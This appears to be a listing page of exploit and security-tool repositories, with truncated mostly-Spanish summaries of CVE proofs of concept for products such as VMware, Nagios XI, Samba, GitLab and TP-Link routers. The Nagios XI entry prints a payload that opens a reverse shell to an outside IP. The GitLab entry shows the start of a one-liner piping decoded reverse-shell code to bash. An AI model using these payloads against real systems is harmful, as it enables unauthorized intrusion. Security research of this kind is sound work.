VMware-CVE-2022-22954-Command-Injector

VMware-CVE-2022-22954-Command-Injector Prueba de concepto para explotar VMware CVE-2022-22954 Cómo funciona Este simple script de Python realiza una solicitud GET a la URL especificada, añadiendo /catalog-portal/ui/oauth/verify?error=&deviceUdid= y luego seguido de una versión codificada en URL d...

sobelow

Sobelow Sobelow is a security-focused static analysis tool for Elixir & the Phoenix framework. For security researchers, it is a useful tool for getting a quick view of points-of-interest. For project maintainers, it can be used to prevent the introduction of a number of common vulnerabilities...

CVE-2023-32073

WWBN AVideo currentVersion RCE autenticado Existe una vulnerabilidad de inyección de comandos en plugin/CloneSite/cloneClient.json.php que permite la ejecución remota de código si tienes el plugin CloneSite. Esto es una evasión de la corrección para CVE-2023-30854 que afecta a WWBN Avideo hasta l...

CVE-2019-20197

CVE-2019-20197 Vulnerabilidad de ejecución remota de comandos en Nagios XI = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite...

CVE-2016-2434

CVE-2016-2434...

CVE-2024-29973

CVE-2024-29973 - Remote Command Injection Vulnerability Description CVE-2024-29973 is a critical vulnerability found in certain Zyxel networking devices. This vulnerability allows an unauthenticated attacker to execute arbitrary commands on the target device by exploiting improper input validatio...

lazyweb

LazyWeb - Aplicación Web Vulnerable LazyWeb es una aplicación web de demostración diseñada para mostrar vulnerabilidades comunes del lado del servidor. Cada vulnerabilidad está categorizada con su respectiva calificación de dificultad para proporcionar una experiencia de aprendizaje integral para...

CVE-2024-30850-chaos-rat-rce-poc

https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/assets/146861503/ac03c8c7-54b3-4280-9f29-719c44af5192 CHAOS RAT v5.01 panel web RCE CVE-2024-30850, CVE-2024-31839 https://github.com/tiagorlampert/CHAOS Este exploit funciona suplantando una devolución de llamada de agente para un XSS...

CVE-2016-3714.ansible.role

Ansible Role: CVE-2016-3714 Fix ImageMagick Command Injection CVE-2016-3714 security issue with Ansible. Requirements Any installed imagemagick and before v6.7.7.10 machine. Role Variables A description of the settable variables for this role should go here, including any variables that are in...

CVE-2024-53375

CVE-2024-53375 Inyección de comandos del sistema operativo autenticada en routers de la serie TP-Link Archer Dispositivos afectados Los dispositivos TP-Link que utilizan la funcionalidad HomeShield son vulnerables a este exploit. Esto incluye múltiples routers de la serie TP-Link Archer. Probado...

CVE-2026-4480

🚨 CVE-2026-4480 - Ejecución Remota de Código Crítica en el Subsistema de Impresión de Samba Ejecución Remota de Código RCE Vulnerabilidad de Inyección de Comandos de Impresión en Samba "Un nombre de trabajo de impresión nunca debería convertirse en un comando de shell." 📖 Resumen CVE-2026-4480 es...

Samba-CVE-2007-2447-Exploit-Username-Map-Script

Samba CVE-2007-2447 Exploit Username Map Script This repository contains a Python script designed to automate the exploitation of the CVE-2007-2447 vulnerability on Samba servers versions 3.0.20 to 3.0.25rc3. This tool has been developed for strictly educational purposes and authorized penetratio...

CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" Descargo de responsabilidad Esta herramienta es solo para estudio, investigación y autoevaluación. No debe utilizarse para fines ilegales. ¡Todos lo...

TOTOLINK_poc

TOTOLINKpoc Vulnerabilidad de ejecución de comandos en TOTOLINK A6000R CVE-2024-41319 python TOTOLINKpoc.py -h root@kitploit: -. -. OO . OO . /. -. ,-.-'/. -. ,-.-' \ .' / | |OO\ .' / | |OO \ /\ | | \ \ /\ | | \ \ \ | | |/ \ \ | | |/ .' ,| |.' .' ,| |.' / .'. | | / .'. | | '--' '--' --' '--'...

CVE-2021-21315-PoC

CVE-2021-21315-systeminformation Esto es una prueba de concepto para CVE-2021-21315 que afecta a The System Information Library para Node.JS paquete npm "systeminformation". npmjs.com/systeminformation "asegúrese de comprobar o sanear los parámetros de servicio que se pasan a si.inetLatency,...

CVE-2026-73570

CVE-2026-73570 — Zimbra Collaboration Suite RCE Note: This repository contains an independent technical analysis and PoC reproduction of CVE-2026-73570. It is not the original vulnerability report. Zimbra Collaboration Suite RCE — SMTP log poisoning → swatchdog → OS Command Injection CVSS 8.9, CI...

PoC-CVE-2025-66224

OrangeHRM RCE Exploit - CVE-2025-66224 📋 Description This Proof of Concept PoC demonstrates a Remote Code Execution RCE vulnerability in OrangeHRM through command injection in the sendmailpath configuration parameter. The exploit works by: 1. Injecting a malicious payload into the MySQL database...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 PoC de bash en una línea para RCE preautenticado en GitLab CVE-2021-22205 root@kitploit: t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2024-29973

CVE-2024-29973 - Remote Command Injection Vulnerability Description CVE-2024-29973 is a critical vulnerability found in certain Zyxel networking devices. This vulnerability allows an unauthenticated attacker to execute arbitrary commands on the target device by exploiting improper input validatio...

android_hid

androidhid Usa Android como Rubber Ducky contra un dispositivo Android o PC objetivo Ataque HID usando Android Usando Android como Rubber Ducky contra Android o Windows. Esta no es una técnica nueva, solo una demostración de cómo realizar un ataque HID usando Android en lugar de un rubber ducky...